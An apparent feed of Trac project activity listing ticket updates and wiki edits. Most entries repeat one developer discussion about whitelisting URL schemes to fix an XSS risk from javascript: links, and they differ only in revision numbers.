13:01 InsideTrac: Trac - Ticket #2914 (would be nice to have optional automatic line breaks in ticket ...) reopened by anonymous: Using the <a class="missing wiki" href="http://trac.edgewall.org/wiki/TnyFolder" rel="nofollow">TnyFolder?</a> API tny_folder_get_msg you will get a <a class="missing wiki" href="http://trac.edgewall.org/wiki/TnyMsg" rel="nofollow">TnyMsg?</a> instance and feed that to the default <a class="missing wiki" href="http://trac.edgewall.org/wiki/TnyGtkMsgView" rel="nofollow">TnyGtkMsgView?</a> component or to your own <a class="missing wiki" href="http://trac.edgewall.org/wiki/TnyMsgView" rel="nofollow">TnyMsgView?</a> implementation.
10:03 InsideTrac: Trac - Ticket #9560 (ValueError: Extra data: line 1 column 4 - line 1 column 5 (char 4 - 5)) updated by anonymous: This issue is caused by a bug in an old version of simplejson (2.0.9) <a class="ext-link" href="http://code.google.com/p/simplejson/issues/detail?id=43"> http://code.google.com/p/simplejson/issues/detail?id=43</a> To resolve this issue, you could: <ul><li>Upgrade the version of simplejson to 2.1.0 or later </li><li>Remove the C extension of simplejson and replace it with the pure Python implementation </li></ul>
08:34 InsideTrac: Trac - TracDev/PluginDevelopment/ExtensionPoints/trac.env.IEnvironmentSetupParticipant edited by greg@…: add import to sample code (<a href="http://trac.edgewall.org/wiki/TracDev/PluginDevelopment/ExtensionPoints/trac.env.IEnvironmentSetupParticipant?action=diff&version=9">diff</a>)
08:04 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by edgewall.p3u@…: rblank, unfortunately I can not apply those patches as they don't seem to be against the 0.12 release version but some other dev-version. Could you provided patched versions of those files so I can test them?
07:59 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:6" title="Comment 6 for Ticket #9557">cboos</a>: <blockquote class="citation"> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/HEAD/tags/trac-0.11.7/trac/wiki/parser.py#L44" title="Download"></a>) then exclude "javascript", we should be safe, no? </blockquote> Not necessarily. The page you linked above mentions <tt>vbscript:</tt>, <tt>mocha:</tt> and <tt>livescript:</tt> as unsafe schemes (granted, on older browsers only). But my reasoning was rather that <a class="ext-link" href="http://stackoverflow.com/questions/504272/which-is-better-white-list-or-black-list-security-or-both"> a whitelist is always safer than a blacklist</a>. You never know what kind of scripting browsers will support in the future (maybe one day we will finally have a <tt>python:</tt> scheme :-). Also, Genshi uses a whitelist as well (slightly buggy, though, as it only checks alpha-numerical characters, and therefore misses "+-.". I need to file a ticket about that). About 0.11.7.1 vs. 0.11.8, sure, the .1 suffix does convey some information, but even if we included only one fix, we could still name it 0.11.8 for simplicity. Mercurial did that for 1.6.2, released one day after 1.6.1. I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though.
07:59 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:6" title="Comment 6 for Ticket #9557">cboos</a>: <blockquote class="citation"> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? </blockquote> Not necessarily. The page you linked above mentions <tt>vbscript:</tt>, <tt>mocha:</tt> and <tt>livescript:</tt> as unsafe schemes (granted, on older browsers only). But my reasoning was rather that <a class="ext-link" href="http://stackoverflow.com/questions/504272/which-is-better-white-list-or-black-list-security-or-both"> a whitelist is always safer than a blacklist</a>. You never know what kind of scripting browsers will support in the future (maybe one day we will finally have a <tt>python:</tt> scheme :-). Also, Genshi uses a whitelist as well (slightly buggy, though, as it only checks alpha-numerical characters, and therefore misses "+-.". I need to file a ticket about that). About 0.11.7.1 vs. 0.11.8, sure, the .1 suffix does convey some information, but even if we included only one fix, we could still name it 0.11.8 for simplicity. Mercurial did that for 1.6.2, released one day after 1.6.1. I'm perfectly fine with 0.11.7.1. Maybe for future releases, we could stick to 3 version components, though.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/HEAD/tags/trac-0.11.7/trac/wiki/parser.py#L44" title="Download"></a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=10005?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/HEAD/tags/trac-0.11.7/trac/wiki/parser.py#L44" title="Download"></a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=10006?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=10000?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=10001?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=10002?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=10003?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=10004?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=10005?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=9997?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=9998?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="milestone" href="http://trac.edgewall.org/milestone/0.11.8">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=9999?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="missing milestone">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=9995?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="missing milestone">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=9996?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:41 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9557#comment:5" title="Comment 5 for Ticket #9557">rblank</a>: <blockquote class="citation"> This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. </blockquote> I wonder, is there any other unsafe possibility besides "javascript"? I know there are many <a class="ext-link" href="http://ha.ckers.org/xss.html"> funny variants</a> to get the browsers (IE mainly) to interpret something as javascript in the end, but if we would first restrict to <a class="ext-link" href="http://tools.ietf.org/html/rfc2396#section-3.1" title="IETF's RFC 2396"> rfc:2396#section-3.1</a> (as we do with <a class="source" href="http://trac.edgewall.org/browser/tags/trac-0.11.7/trac/wiki/parser.py#L44">LINK_SCHEME</a>) then exclude "javascript", we should be safe, no? <blockquote class="citation"> What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?) </blockquote> We picked 0.11.7.1 at that time because we had just one more security fix to add on top of <a class="closed milestone" href="http://trac.edgewall.org/milestone/0.11.7">0.11.7</a> (attachment related). As time passed, there's been more fixes, so making a <a class="missing milestone">0.11.8</a> release would indeed be possible now. OTOH, 0.11.7.1 better conveys the "end of life" status of the 0.11-stable release line, and also we've been consistently talking about 0.11.7.1 in the commit messages (<a class="source" href="http://trac.edgewall.org/log/branches/0.11-stable?rev=9997?stop_rev=9338">log:branches/0.11-stable?stop_rev=9338</a> <= broken link btw!) and the code even (<a class="changeset" href="http://trac.edgewall.org/changeset/9900" title="`IResourceManager.resource_exists` now introduced since 0.11.7.1. ">r9900</a>), so keeping it would have my preference.
06:36 InsideTrac: Trac - TracDev/PluginDevelopment/ExtensionPoints/trac.env.IEnvironmentSetupParticipant edited by greg@…: add self parameter to example methods (<a href="http://trac.edgewall.org/wiki/TracDev/PluginDevelopment/ExtensionPoints/trac.env.IEnvironmentSetupParticipant?action=diff&version=8">diff</a>)
